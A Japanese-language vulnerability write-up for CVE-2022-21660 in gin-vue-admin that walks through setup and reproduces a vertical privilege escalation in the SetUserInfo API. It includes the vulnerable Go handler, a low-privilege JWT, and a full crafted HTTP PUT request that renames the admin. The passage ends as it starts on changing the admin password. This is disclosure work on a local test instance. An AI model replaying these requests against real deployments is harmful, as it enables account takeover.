
CVE-2022-21660
各位の皆様、このプロジェクトにスターを一つお願いいたします。```http https://github.com/flipped-aurora/gin-vue-admin/

文章を書き終えた後、CVEの申請には多少の手間がかかりましたが、何とか取得できました。GitHubのスタッフの対応は迅速でした。
> ps CVE申請前に、既にCNVDに提出済み

### 二、環境構築
公式チュートリアルに従って```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
その後、serverディレクトリに入ります```bash go generate
```bash
go build -o server main.go
その後直接serverを実行します

その後はWEBです。webディレクトリに移動し、入力```bash cnpm install || npm install
その後、待つだけでOKです

その後、インストールが完了すると自動的にWEBページが開きます


その後、データベース情報を初期化設定します

設定が完了したら、初期化をクリックしてログインします

### 三、脆弱性の再現
### SetUserInfoに垂直権限昇格が存在
##### 1、SetUserInfoインターフェースによるユーザー個人情報の権限昇格設定
ユーザー管理ページに直接移動し、低権限のユーザーロールを新規作成します

上記では管理者権限が与えられていないことがわかります。次に新しいアカウントを作成し、このロールグループに割り当てます


脆弱性が発生する場所は https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go の273行目です
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
ここでは入力されたIDの検証が行われていません。IDはユーザーを表すもので、指定されたIDを直接渡すことで、該当ユーザーの個人情報を変更できます。

まず管理者のX-tokenを使って、IDが1のユーザーの名前をtest1に変更してみます。その後、バックエンドで管理者のIDがtest1に変更されたことを確認できます。

次に、先ほど新規作成したUzJu_HxSecTeamアカウントのTokenを置き換えて、管理者のユーザー名をtest2に変更します。
まずUzJu_HxSecTeamのアカウントで個人情報>パスワード変更に移動し、適当にパスワードを変更して、アカウントのTokenを取得します。

このTokenは低権限のロールのものです。通常、低権限のユーザーは管理者の情報を一切変更できません。```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
Tokenを置き換えて、以下のようなJSONデータを構築します。```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

Token を setUserinfo インターフェースに置き換えます。```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
その後、設定成功のプロンプトが表示されます

ここで管理アカウントに切り替え、管理者が test2 に変更されているか確認します

管理者ユーザーが正常に変更されていることが確認できます
##### 2、SetUserInfo インターフェースの垂直権限昇格により管理者パスワードを無条件に変更
デバッグ中に、権限昇格によって個人情報を設定するインターフェース setUserInfo では、id, username, nickname, headimg だけでなく、password などのパラメータも渡せることを発見しました

例えば、リクエストを構築して、ID が 1 のユーザー名を admin に、ニックネームを 超级用户管理员 に設定します